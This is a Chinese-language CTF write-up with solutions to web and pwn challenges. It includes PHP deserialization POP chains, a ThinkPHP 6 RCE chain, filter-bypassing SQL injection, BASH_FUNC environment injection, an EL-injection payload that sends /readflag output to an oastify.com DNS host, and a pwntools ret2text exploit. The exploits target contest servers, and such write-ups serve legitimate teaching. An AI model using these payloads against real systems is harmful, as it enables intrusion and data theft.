前言
坏事,感觉自己和Round#2的时候比没变多少。。。
Web
100%_upload
检测后缀和文件内容,短标签绕过内容检测,直接传个png图片马上去
发现index.php有file
这个参数用于文件包含
直接包含图片马getshell
貌似也可以直接伪协议读flag(
Not just unserialize
反序列化pop链+环境变量注入
<?php
highlight_file(__FILE__);
class start
{
public $welcome;
public $you;
public function __destruct()
{
$this->begin0fweb();
}
public function begin0fweb()
{
$p='hacker!';
$this->welcome->you = $p;
}
}
class SE{
public $year;
public function __set($name, $value){
echo ' Welcome to new year! ';
echo($this->year);
}
}
class CR {
public $last;
public $newyear;
public function __tostring() {
if (is_array($this->newyear)) {
echo 'nonono';
return false;
}
if (!preg_match('/worries/i',$this->newyear))
{
echo "empty it!";
return 0;
}
if(preg_match('/^.*(worries).*$/',$this->newyear)) {
echo 'Don\'t be worry';
} else {
echo 'Worries doesn\'t exists in the new year ';
empty($this->last->worries);
}
return false;
}
}
class ET{
public function __isset($name)
{
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
system("echo \"Haven't you get the secret?\"");
}
}
if(isset($_REQUEST['go'])){
unserialize(base64_decode($_REQUEST['go']));
}
?>
链子:start::__destruct -> start::begin0fweb -> SE::__set -> CR::__tostring -> ET::__isset
__toString
里的正则匹配单行,直接换行符绕过即可
exp:
<?php
class start
{
public $welcome;
public $you;
}
class SE{
public $year;
}
class CR {
public $last;
public $newyear="\nworries";
}
class ET{
}
$a=new start();
$a->welcome=new SE();
$a->welcome->year=new CR();
$a->welcome->year->last=new ET();
echo base64_encode(serialize($a));
然后是环境变量注入,依旧是p神的那篇文章:https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html
payload:
?get[BASH_FUNC_echo%%]=() { cat /ffffllllllaaaaaaaaaaaaaaaaaaggggg ; }
hacker
fuzz一下,过滤如下
['union select', 'and', 'or', '||', '&', 'order', 'ORDER', 'like', 'ascii', 'mid', 'handler', '--', ' ', 'information_schema', ';']
读数据库
?username=1'union/**/select/**/database()%23
返回ctf
查表
?username=1'union/**/select/**/(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database())%23
返回flag,users
无列名注入找到flag
?username=1'union/**/select/**/(select/**/`2`/**/from(select/**/1,2/**/union/**/select/**/*/**/from/**/flag)a/**/limit/**/1,1)%23
EZ_SSRF
<?php
highlight_file(__file__);
error_reporting(0);
function get($url) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($curl);
curl_close($curl);
echo base64_encode($data);
return $data;
}
class client{
public $url;
public $payload;
public function __construct()
{
$url = "http://127.0.0.1/";
$payload = "system(\"cat /flag\");";
echo "Exploit";
}
public function __destruct()
{
get($this->url);
}
}
// hint:hide other file
if(isset($_GET['Harder'])) {
unserialize($_GET['Harder']);
} else {
echo "You don't know how to pass parameters?";
}
?>
逆天题目,flag在flag.php不在/flag,被题目描述骗了
exp:
<?php
function get($url) {
}
class client{
public $url="file:///var/www/html/index.php";
public $payload;
}
$a=new client();
echo serialize($a);
?>
Oyst3rPHP
存在www.zip源码泄露,是OysterPHP框架,基于tp6.0.3
解压后直接看app/controller/Index.php
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
echo "<img src='../Oyster.png'"."/>";
$payload = base64_decode(@$_POST['payload']);
$right = @$_GET['left'];
$left = @$_GET['right'];
$key = (string)@$_POST['key'];
if($right !== $left && md5($right) == md5($left)){
echo "Congratulations on getting your first oyster";
echo "<img src='../Oyster1.png'"."/>";
if(preg_match('/.+?THINKPHP/is', $key)){
die("Oysters don't want you to eat");
}
if(stripos($key, '603THINKPHP') === false){
die("!!!Oysters don't want you to eat!!!");
}
echo "WOW!!!Congratulations on getting your second oyster";
echo "<img src='../Oyster2.png'"."/>";
@unserialize($payload);
//最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???
//在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!
//小Tips:细狗函数┗|`O′|┛ 嗷~~
}
}
public function doLogin()
{
/*emmm我也不知道这是what,瞎写的*/
if ($this->request->isPost()) {
$username = $this->request->post('username');
$password = $this->request->post('password');
if ($username == 'your_username' && $password == 'your_password') {
$this->success('Login successful', 'index/index');
} else {
$this->error('Login failed');
}
}
}
}
稍微审计一下
先确定我们要打的路由:/app/Index/index
然后开始绕过
public function index()
{
echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
echo "<img src='../Oyster.png'"."/>";
$payload = base64_decode(@$_POST['payload']);
$right = @$_GET['left'];
$left = @$_GET['right'];
$key = (string)@$_POST['key'];
if($right !== $left && md5($right) == md5($left)){
echo "Congratulations on getting your first oyster";
echo "<img src='../Oyster1.png'"."/>";
if(preg_match('/.+?THINKPHP/is', $key)){
die("Oysters don't want you to eat");
}
if(stripos($key, '603THINKPHP') === false){
die("!!!Oysters don't want you to eat!!!");
}
echo "WOW!!!Congratulations on getting your second oyster";
echo "<img src='../Oyster2.png'"."/>";
@unserialize($payload);
//最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???
//在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!
//小Tips:细狗函数┗|`O′|┛ 嗷~~
}
}
前两个分别是:md5弱比较 与 溢出绕过正则匹配(参考SHCTF 1zzphp)
直接看到下面的反序列化和hint
全局找析构函数__destruct
在/vendor/topthink/think-orm/src/Model.php中找到
/**
* 析构方法
* @access public
*/
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}/*WOW!!!看来你是懂的,第三个生蚝在根目录下的Oyst3333333r.php里,快去找到它吧*/
接下来就是经典的链子:https://xz.aliyun.com/t/12630
exp:
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key"=>"cat /Oyst3333333r.php"];
private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo base64_encode(serialize($b));
import requests
url = "http://yuanshen.life:38207/app/Index/index?left=QNKCDZO&right=240610708"
data = {
'key': 'very' * 250000 + '603THINKPHP',
'payload': 'TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjc6IgAqAG5hbWUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319'
}
res = requests.post(url, data=data)
print(res.text)
[进阶]elInjection (Unsolved)
EL表达式注入 + bcel打内存马
package com.example.elinjection.controller;
import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import java.util.ArrayList;
import java.util.Iterator;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class TestController {
public TestController() {
}
@RequestMapping({"/test"})
@ResponseBody
public String test(@RequestParam(name = "exp") String exp) {
ArrayList<String> list = new ArrayList();
list.add("Runtime");
list.add("exec");
list.add("invoke");
list.add("exec");
list.add("Process");
list.add("ClassLoader");
list.add("load");
list.add("Response");
list.add("Request");
list.add("Base64Utils");
list.add("ReflectUtils");
list.add("getWriter");
list.add("Thread");
list.add("defineClass");
list.add("bcel");
list.add("RequestAttributes");
list.add("File");
list.add("flag");
list.add("URL");
list.add("Command");
list.add("Inet");
list.add("System");
list.add("\\u");
list.add("\\x");
list.add("'");
Iterator var3 = list.iterator();
String s;
do {
if (!var3.hasNext()) {
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
SimpleContext simpleContext = new SimpleContext();
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
valueExpression.getValue(simpleContext);
return exp;
}
s = (String)var3.next();
} while(!exp.contains(s));
return "No";
}
}
明显是要我们绕过这几个过滤的方法
hint:
利用ScriptEngine基础上可以使用Base64编码Bypass
非预期解法dns出网情况下,dns换行导致解析失败可以使用命令,ls /|head -n 1|tail -n -1,来读取行数
flag没有权限读取,执行/readflag获取
套双层ScriptEngineManager的eval执行java.util.Base64解码内容
能执行命令的bash -c “curl `/readflag`.dns”
非预期dns带外
https://blog.kengwang.com.cn/archives/624/#%E8%BF%9B%E9%98%B6elinjection
由于过滤了很多参数, 我们试着先将其编码再解码, 一般用的是 Base64, 但我用的是 URLDecoder
构造
curl `/readflag`.ig2nsj8t33em65ielmwmoa21mssjg94y.oastify.com
处理一下得到
java.lang.Runtime.getRuntime().exec("bash -c {echo,Y3VybCBgL3JlYWRmbGFnYC5pZzJuc2o4dDMzZW02NWllbG13bW9hMjFtc3NqZzk0eS5vYXN0aWZ5LmNvbQ==}|{base64,-d}|{bash,-i}").getInputStream();
payload:
{{url(${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(java.net.UR".concat("LDecoder.decode(\"{{url({{p(javascript)}})}}\"))"))})}}
预期
没做出来
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new javax.script.ScriptEngineManager().getEngineByName(\"JavaScript\").eval(\"(java.util.Base64.getDecoder().decode(\\\"cHJpbnQoMSk=\\\")).toString()\")")}
出题人饭都喂到嘴边了但是我最后一步不会打内存马
[进阶]CC_deserialization (Unsolved)
cc + rmi二次反序列化 + java不出网 + javassist缩短payload
Pwn
[签到]stack
main函数
char *run()
{
char buf[76]; // [rsp+0h] [rbp-50h] BYREF
size_t nbytes; // [rsp+4Ch] [rbp-4h]
printf("Give me the length: ");
LODWORD(nbytes) = get_int();
if ( (unsigned __int8)nbytes > 0x40u )
{
puts("Too long!");
exit(1);
}
printf("Give me your command: ");
read(0, buf, (unsigned int)nbytes);
return strdup(buf);
}
很明显这里unsigned __int8
存在整型溢出,int8的范围是 -256~255
后门backdoor函数
打 ret2text 直接控制地址到_system
,这样子可以绕过比较
因为backdoor里没有输入,所以我们的payload要在修改地址的同时执行命令
exp:
from pwn import *
p = remote("yuanshen.life", "33665")
offset = 0x50+0x8
get_flag_addr = 0x4011F7
payload = b'cat flag||' + (offset-10) * b'a' + p64(get_flag_addr)
p.recv()
p.sendline(b'-256')
p.recv()
p.sendline(payload)
p.interactive()
Misc
问卷调查
SICTF{See_y0u_1n_sictf_rOund4_!!!!@#_558b0304}